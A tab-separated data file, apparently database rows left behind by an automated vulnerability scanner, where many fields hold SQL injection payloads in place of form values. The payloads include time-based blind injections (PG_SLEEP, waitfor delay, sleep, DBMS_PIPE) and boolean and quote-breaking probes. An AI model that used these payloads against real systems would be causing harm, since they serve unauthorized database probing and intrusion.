1	1	1	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU3TqfkmIb')) OR 236=(SELECT 236 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUbOen5OmQ') OR 260=(SELECT 260 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUcnZPInjg' OR 653=(SELECT 653 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUqj9up77A'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=25 or ""R1gp3aES""="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=26 or '17WXvMjN'='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=26	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(select 198766*667891)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU����%2527%2522\'\"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU'"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=25	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUDRASYuQy	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1'"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1Zy6Hm19D')) OR 332=(SELECT 332 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1gZx8BvCj') OR 838=(SELECT 838 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=26 or ""R1gp3aES""="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=25 or '17WXvMjN'='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=25	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU2Vs7Xu3s	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU4AhTLT5G'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=26 or ""QtqWzM4Y""="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=26 or 'ILAkdBbc'='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=25 or 'ILAkdBbc'='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=26	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	@@MJKYq	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1����%2527%2522\'\"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1vf1UyI22' OR 326=(SELECT 326 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	@@QwZtX	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUDiciVYUh')) OR 447=(SELECT 447 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU8bBmgpEh') OR 915=(SELECT 915 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUAwcMQpDw' OR 600=(SELECT 600 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=25 or ""QtqWzM4Y""="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1) OR 273=(SELECT 273 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1a1YqMzXt'; waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1; waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1*if(now()=sysdate(),sleep(15),0)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""FuP7GxGS""="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""FuP7GxGS""="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 or 'IVVXwdVm'='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 or 'IVVXwdVm'='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	@@hdoMK	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1cg2Mt8vd')) OR 369=(SELECT 369 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1mgV0gXDx') OR 319=(SELECT 319 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1 waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1)) OR 865=(SELECT 865 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1 OR 73=(SELECT 73 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1 waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1); waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1XyufGzIo	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1)) OR 618=(SELECT 618 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1 OR 303=(SELECT 303 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1kI2YCrVp'; waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1; waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""XKrwSOqW""="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 or 'xRz8n6mo'='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 or 'xRz8n6mo'='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1bfY8cpy5	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
